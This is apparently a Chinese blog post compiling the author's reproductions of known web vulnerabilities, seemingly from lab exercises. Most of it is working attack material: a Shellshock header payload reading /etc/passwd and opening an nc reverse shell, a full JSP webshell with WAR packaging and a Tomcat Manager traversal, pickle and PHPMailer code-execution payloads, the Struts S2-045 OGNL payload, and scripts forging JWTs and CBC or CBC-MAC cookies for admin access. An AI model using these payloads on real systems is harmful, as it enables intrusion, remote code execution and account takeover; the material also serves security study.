【漏洞复现】之前的一些漏洞复现

CVE-2014-6271

1、利用环境

要利用 “Shellshock”,我们需要找到一种方法来与 Bash “对话”。这意味着找到将使用 Bash 的 CGI

2、CGI 的工作原理

当您调用 CGI 时,Web 服务器(此处为 Apache)将启动一个新进程并运行 CGI。在这里,它将启动一个 Bash 进程并运行 CGI 脚本

3、漏洞原理

问题的根源是 Bash 的环境变量中可以有一个内部函数声明。该漏洞的第一个版本与在函数声明后运行任意命令的能力有关

Apache 使用环境变量将标头传递给 CGI。由于它是基于 Bash 的 CGI,

我们将能够通过声明一个空函数并在声明后添加命令来运行任意命令

4、利用

使用User-Agent标头进行利用

**User-Agent会被保留在web服务器日志里

( ) { :;}; echo $(</etc/passwd)

或者进行反弹shell

( ) { :;}; /usr/bin/nc ip:port -e /bin/bash

本地进行

nc -l - p 端口号

JWT 库的签名漏洞

原理

通过空签名漏洞,将alg换为None。再加上admin。即可绕过

原文:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.

eyJsb2dpbiI6ImFkbWluIiwiaWF0IjoiMTczNzQ1ODQyMCJ9.

YTNmMmI0MTUzMGU3YzQ1MjVkMTg0YjY5MzZlYTBkNjYzODEzZjA1MTExNjRhYjJiNmNhMjc3ZWUwYjNkMWNmZg

解码:

{"alg":"HS256","typ":"JWS"}

{"login":"test","iat":"1737458420"}

a3f2b41530e7c4525d184b6936ea0d663813f0511164ab2b6ca277ee0b3d1cff

利用

{"alg":"None","typ":"JWS"}

{"login":"admin","iat":"1737458420"}

a3f2b41530e7c4525d184b6936ea0d663813f0511164ab2b6ca277ee0b3d1cff

CVE-2007-1860

mod_jk双重解码

原理

/examples/jsp/%252e%252e/%252e%252e/manager/html ==通过双重编码绕过,进行目录遍历。获得对 Tomcat Manager 的访问权限。

/examples/jsp/../../manager/html

或者 /..;/manager/html

爆破

然后进行弱密码爆破

|账户|tomcat |admin|admin| |-|-|-|-| |密码|tomcat |空|admin|

成功进入后台

部署webshell

编写index.jsp

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
  String cmd = request.getParameter("cmd");
  String output = "";
  if(cmd != null) {
    String s = null;
    try {
      Process p = Runtime.getRuntime().exec(cmd,null,null);
      BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
      while((s = sI.readLine()) != null){
        output += s+"</br>";
      }
    } catch(IOException e){ e.printStackTrace(); }
  }
%>
<pre><%=output %></pre>

创建一个目录,并将我们的文件 () 放入其中

mkdir webshell
cp index.jsp webshell

现在我们可以使用 (由 Java 提供) 构建文件

    cd webshell

    jar -cvf ../webshell.war *

    added manifest

    adding: index.jsp(in = 579) (out= 351)(deflated 39%)

路径修改

因为有自带的CSRF拦截机制

要改变路径(避免发送会话ID,逃避检查)

上传界面抓取响应

HTTP/1.1 200 OK
Server: nginx/1.16.0
Date: Mon, 03 Feb 2025 11:24:11 GMT
Content-Type: text/html;charset=utf-8
Connection: keep-alive
Cache-Control: private
Expires: Thu, 01 Jan 1970 00:00:00 UTC
Set-Cookie: JSESSIONID=C5D7D6B5B7E4DB148CDD05A45ED7ACFE; Path=/manager/; HttpOnly
Vary: Accept-Encoding
Content-Length: 17563

将Path=/manager/;的manager删掉

改源码(为了直接到Tomcat服务器获得权限)

action="/examples/html/upload?org.apache.catalina.filters.CSRF_NONCE=FBEE237F64CD04B638BD415E3DC3D3D4"

==还是进行双重编码

action="/examples/%252e%252e/%252e%252e/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=FBEE237F64CD04B638BD415E3DC3D3D4"

而后上传文件

路径打开webs hell

/examples/%252e%252e/webshell/

完成

Pickle 代码执行

python反序列化

 

通过cookie中的参数进行绕过

import base64
import os
import pickle

class Blah(object):
  def __reduce__(self):
    return (os.system,("/usr/local/bin/score 9bbf0758-4f19-4088-b09e-116220ad3a3e",))

h=Blah()
print(base64.b64encode(pickle.dumps(h,2)))

!!!必须用Linux系统,才能编译成功

RCE加密

加密破解

通过八个a,和四个b来推测结构

通过盲推,aaaaaaaaadmin删去Hex中的最前面8个字节,成功完成盲破

CVE-2016-10033

PHPMailer 中的远程代码执行漏洞

背景

通过邮服进行注入

利用

"attacker@127.0.0.1" -oQ/tmp/ -X/var/www/shell.php root"@127.0.0.1

放在email中进行发送,并且改掉前端验证

邮件正文写

<?php system($_GET['c']); ?>

一句话注入

然后它链接shell

CVE-2016-2098

On Rails 使用了用户提供的数据,因此在 Ruby-on-Rails 中执行了代码

示例:

/pages?id=test

利用

class TestController < ApplicationController
  def show
    render params[:id]
  end
end

这一个方法允许开发人员呈现纯文本,甚至内联代码

所以payload为

id[inline]=<%=id%>

注入时要进行url编码

id[inline]=<%25%3D%60id%60%25>

CBC

PHP 网站身份验证中的弱点

篡改使用 CBC 加密

原理就是,注册一个近似用户名

bdmin,cdmin

复制cookie

先url解码,base64解码

##直接输入 irb,启动Ruby的交互式解释器(IRB)界面
0x75^'a'.ord^'c'.ord

"%2x" % 119

改为后,安装解码步骤还原

Play 会话注入

Play 框架中如何利用会话注入

数据包关键参数为

Cookie: PLAY_SESSION=0c34247943961e70870486373ef1c57d7ef66084-%00___AT%3Aa7489a2fc9a412294be173fd841db156352fd505%00

authenticityToken=a7489a2fc9a412294be173fd841db156352fd505&username=test1&password=123&password_again=123

username=test1中通过00截断注入

username=test2%00%00admin:1%00

欺骗服务器,使其生成有毒的PLAY_SESSION

并将有毒的PLAY_SESSION,更改cookie,

Struts s2-045

Struts 2 中的远程代码执行

Struts s2-045 会影响以下版本的 Struts:

  • 支柱2.3.5

  • 支柱2.3.31

  • 支柱2.5

  • 支柱2.5.10

在特定参数中注入:Content-Type

已经有很多漏洞利用程序可用,其中大多数只是对以下有效负载的包装器:

    %{(#n='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Copy

有效负载用作请求的 。

JWT绕过

已知公钥,参数修改

import base64
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256

# 读取公钥文件
with open("public.pem", "r") as f:
    key = RSA.import_key(f.read())

# 原始JWT字符串
jwt_str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJpYXQiOjE3Mzg4NDk0Njl9"

# 分割JWT字符串为头部和负载
header, payload, _ = jwt_str.split(".")

# 修改负载内容(例如将普通用户改为管理员)
modified_payload = payload.replace("admin", "test")

# 重新组合JWT字符串
new_jwt_str = f"{header}.{modified_payload}"

# 计算新的签名
hash_obj = SHA256.new(new_jwt_str.encode())
signature = pkcs1_15.new(key).sign(hash_obj)

# 将签名转换为Base64编码
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip("=")

# 构建完整的JWT
new_jwt = f"{new_jwt_str}.{sig_b64}"

print(new_jwt)

密钥爆破

import jwt

# 这是你的初始JWT
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"

# 尝试的secret列表
secrets = ["your-secret-key", "another-secret", "pentesterlab", "jwt-secret"]

for secret in secrets:
    try:
        # 尝试用当前的secret验证token
        decoded = jwt.decode(token, secret, algorithms=['HS256'])
        print(f"成功使用密钥 '{secret}' 解码 JWT: {decoded}")

        # 修改payload中的'user'字段为'admin'
        decoded['user'] = 'admin'

        # 使用原secret重新签名生成新的JWT
        new_token = jwt.encode(decoded, secret, algorithm='HS256')
        print(f"新生成的JWT(user=admin): {new_token}")
        break
    except jwt.InvalidTokenError:
        print(f"无法使用密钥 '{secret}' 验证 JWT.")

Key字段绕过

操纵kid(Key ID)字段来尝试绕过

import hmac
import base64
import hashlib
import json

header = {"typ":"JWT","alg":"HS256","kid":"../../../../../../../../../../dev/null"}
key=""

payload = {"user":"admin"}

# 将header和payload转换为json字符串,再转成字节
header_str = json.dumps(header).encode('utf-8')
payload_str = json.dumps(payload).encode('utf-8')

# 对header和payload进行Base64编码,并去掉末尾的'='
encoded_header = base64.urlsafe_b64encode(header_str).decode('utf-8').rstrip("=")
encoded_payload = base64.urlsafe_b64encode(payload_str).decode('utf-8').rstrip("=")

str = encoded_header + "." + encoded_payload

# 确保key是字符串并且在编码前转成字节
sig = base64.urlsafe_b64encode(hmac.new(key.encode('utf-8'), str.encode('utf-8'), hashlib.sha256).digest()).decode('utf-8').rstrip("=")

print(str + "." + sig)

CVE-2017-17405

利用JWT的代码执行漏洞

import hmac
import base64
import hashlib
import json

# 定义头部(Header)
header = {"typ": "JWT", "alg": "HS256", "kid": "|/usr/local/bin/score 9bbf0758-4f19-4088-b09e-116220ad3a3e"}

# 定义负载(Payload)
payload = {"user": "random"}

# 定义密钥(Secret Key)
key = "random"

# 创建字符串表示的头部和负载,并进行Base64编码
encoded_header = base64.urlsafe_b64encode(json.dumps(header).encode('utf-8')).rstrip(b'=')
encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode('utf-8')).rstrip(b'=')

str = (encoded_header.decode('utf-8') + "." + encoded_payload.decode('utf-8'))

# 创建签名(Signature)
sig = base64.urlsafe_b64encode(hmac.new(key.encode('utf-8'), str.encode('utf-8'), hashlib.sha256).digest()).rstrip(b'=')

# 输出完整的JWT
jwt = str + "." + sig.decode('utf-8')
print(jwt)

CVE-2018-0114

require 'openssl'
require 'base64'
require 'json'

# 读取私钥文件
priv = OpenSSL::PKey::RSA.new(File.read('private.pem'))

# 获取公钥
pub = priv.public_key

# 对公钥的模数和指数进行Base64编码
n = Base64.urlsafe_encode64(pub.n.to_s(2)).gsub(/=+$/, '')
e = Base64.urlsafe_encode64(pub.e.to_s(2)).gsub(/=+$/, '')

# 构建JWT头部信息
header = {
  "alg" => "RS256",
  "jwk" => {
    "kty" => "RSA",
    "kid" => "pentesterlab",
    "use" => "sig",
    "n" => n,
    "e" => e
  }
}

# 构建JWT负载信息
payload = Base64.urlsafe_encode64("admin").gsub(/=+$/, '')

# 创建JWT令牌
token = Base64.urlsafe_encode64(header.to_json).gsub(/=+$/, '') + "." + payload

# 使用私钥对令牌进行签名
sign = priv.sign(OpenSSL::Digest::SHA256.new, token)

# 输出最终的JWT令牌
puts token + "." + Base64.urlsafe_encode64(sign).gsub(/=+$/, '')
  1. 引入必要的库

require 'openssl'
require 'base64'
require 'json'

这些库分别用于处理加密操作、Base64编码和JSON数据格式化。

  1. 读取私钥文件

priv = OpenSSL::PKey::RSA.new(File.read('private.pem'))

从名为private.pem的文件中读取RSA私钥,并将其存储在变量priv中。

  1. 获取公钥

pub = priv.public_key

从私钥对象中提取出对应的公钥,存储在变量pub中。

  1. 对公钥的模数和指数进行Base64编码

n = Base64.urlsafe_encode64(pub.n.to_s(2)).gsub(/=+$/, '')
e = Base64.urlsafe_encode64(pub.e.to_s(2)).gsub(/=+$/, '')

将公钥的模数(n)和指数(e)转换为二进制字符串形式,然后进行URL安全的Base64编码,并去除末尾的填充字符=+

  1. 构建JWT头部信息

header = {
  "alg" => "RS256",
  "jwk" => {
    "kty" => "RSA",
    "kid" => "pentesterlab",
    "use" => "sig",
    "n" => n,
    "e" => e
  }
}

定义JWT的头部信息,包括使用的算法(RS256)、嵌入的公钥信息等。

  1. 构建JWT负载信息

payload = Base64.urlsafe_encode64("admin").gsub(/=+$/, '')

对负载信息(在这个例子中是一个简单的字符串"admin")进行URL安全的Base64编码,并去除末尾的填充字符=+

  1. 创建JWT令牌

token = Base64.urlsafe_encode64(header.to_json).gsub(/=+$/, '') + "." + payload

将头部信息和负载信息都转换为JSON字符串后进行URL安全的Base64编码,然后用.连接起来形成初步的JWT令牌。

  1. 使用私钥对令牌进行签名

sign = priv.sign(OpenSSL::Digest::SHA256.new, token)

使用私钥对上述形成的初步JWT令牌进行签名,签名算法采用SHA-256哈希函数。

  1. 输出最终的JWT令牌

puts token + "." + Base64.urlsafe_encode64(sign).gsub(/=+$/, '')

最终将初步的JWT令牌与签名部分拼接在一起,中间用.隔开,得到完整的JWT令牌,并打印出来。

通过注入伪造请求

import base64
import hashlib
import hmac
import json

# JWT header
header = {
    "typ": "JWT",
    "alg": "HS256",
    "kid": "zzzzzzzzz' union select 'aaa"
}

# Secret key for HMAC
key = "aaa"

# JWT payload
payload = {
    "user": "admin"
}

# Encode the header and payload to base64url
str_header = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
str_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')

# Concatenate the encoded header and payload
str_jwt = str_header + '.' + str_payload

# Create the HMAC signature using SHA-256
signature = base64.urlsafe_b64encode(hmac.new(key.encode(), str_jwt.encode(), hashlib.sha256).digest()).decode().rstrip('=')

# Print the final JWT token
print(str_jwt + '.' + signature)

CBC-MAC

1、该加密方式为通过两个参数进行加密

eg:

iv=nLq3SuWg4ws%3D;

auth=YmRtaW5pc3RyYXRvci0tQfkplYmqNM0%3D

跟原来同理,创建一个bdmin的用户,进行偏移可得

##Cookie: iv=nLq3SuWg4ws%3D; auth=YmRtaW5pc3RyYXRvci0tQfkplYmqNM0%3D

import base64
from urllib.parse import unquote, quote

# Given values
iv = "nLq3SuWg4ws%3D"
auth = "YmRtaW5pc3RyYXRvci0tQfkplYmqNM0%3D"

# Decode the Base64 strings after URL unescaping
decoded_iv = base64.b64decode(unquote(iv))
decoded_auth = base64.b64decode(unquote(auth))

# Modify the first character of the decoded iv
decoded_iv = bytearray(decoded_iv)
decoded_iv[0] = (ord('a') ^ ord('b') ^ decoded_iv[0])
decoded_iv = bytes(decoded_iv)

# Set the first character of the decoded auth to 'a'
decoded_auth = bytearray(decoded_auth)
decoded_auth[0] = ord('a')
decoded_auth = bytes(decoded_auth)

# Encode the modified strings back to Base64 and URL escape them
new_iv = quote(base64.b64encode(decoded_iv).decode())
new_auth = quote(base64.b64encode(decoded_auth).decode())

# Print the curl command with the modified cookie
print(f"curl -H 'Cookie: iv={new_iv}; auth={new_auth}' https://ptl-c9ee60c0-e7fdd511.libcurl.so/")

2、使用 CBC-MAC 对非固定大小消息的签名进行开发

require 'httparty'
require "base64"

URL = "https://ptl-1ffbcd64-0ec54a74.libcurl.so/"

def login(username)
  res = HTTParty.post(URL + 'login.php', body: { username: username, password: "Password1" }, follow_redirects: false)
  return res.headers["set-Cookie"].split("=")[1]
end

cookie = login("administ")
signature1 = Base64.decode64(cookie).split("--")[1]

def xor(str1, str2)
  ret = ""
  str1.bytes.zip(str2.bytes) do |b1, b2|
    ret << (b1 ^ b2).chr
  end
  return ret
end

username2 = xor("rator\x00\x00\x00", signature1)

cookie2 = login(username2).gsub("%2B", "+")
puts cookie2

signature2 = Base64.decode64(cookie2).split("--")[1]
puts signature2
puts Base64.encode64("administrator--#{signature2}")

返回

t2fmv3BrPZEtLbq+LY+NNbVT

��-��5�S

YWRtaW5pc3RyYXRvci0tur4tj401tVM=

红色为管理员cookie

代码解释

  1. 引入必要的库

require 'httparty'
require "base64"
  • httparty: 用于发送 HTTP 请求。

  • base64: 用于 Base64 编码和解码。

  1. 定义 URL

URL = "https://ptl-1ffbcd64-0ec54a74.libcurl.so/"
  • 这是目标网站的 URL。

  1. 登录函数

def login(username)
  res = HTTParty.post(URL + 'login.php', body: { username: username, password: "Password1" }, follow_redirects: false)
  return res.headers["set-Cookie"].split("=")[1]
end
  • 发送 POST 请求到 login.php,用户名为传入的参数,密码固定为 "Password1"

  • 返回响应头中的 set-Cookie 字段,并提取 cookie 值(假设 cookie 格式为 session=value)。

  1. 获取第一个用户的 cookie 和签名

cookie = login("administ")
signature1 = Base64.decode64(cookie).split("--")[1]
  • 使用用户名 "administ" 登录并获取 cookie。

  • 解码 cookie 并提取签名部分(假设 cookie 格式为 encoded_value--signature)。

  1. XOR 函数

def xor(str1, str2)
  ret = ""
  str1.bytes.zip(str2.bytes) do |b1, b2|
    ret << (b1 ^ b2).chr
  end
  return ret
end
  • 对两个字符串进行 XOR 操作。

  • str1.bytes.zip(str2.bytes) 将两个字符串按字节配对。

  • (b1 ^ b2).chr 计算每对字节的 XOR 结果,并将其转换回字符。

  1. 构造第二个用户名

username2 = xor("rator\x00\x00\x00", signature1)
  • 构造一个新的用户名 "rator\0\0\0",并通过 XOR 操作与第一个签名结合。

  • \x00 表示空字节(null byte)。

  1. 获取第二个用户的 cookie 和签名

cookie2 = login(username2).gsub("%2B", "+")
puts cookie2

signature2 = Base64.decode64(cookie2).split("--")[1]
puts signature2
puts Base64.encode64("administrator--#{signature2}")
  • 使用新构造的用户名登录并获取 cookie。

  • 替换 %2B+,以便正确解码 Base64。

  • 解码 cookie 并提取新的签名部分。

  • 构造最终的 cookie,其中用户名为 "administrator",签名保持不变。

  • 输出最终的 Base64 编码的 cookie。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值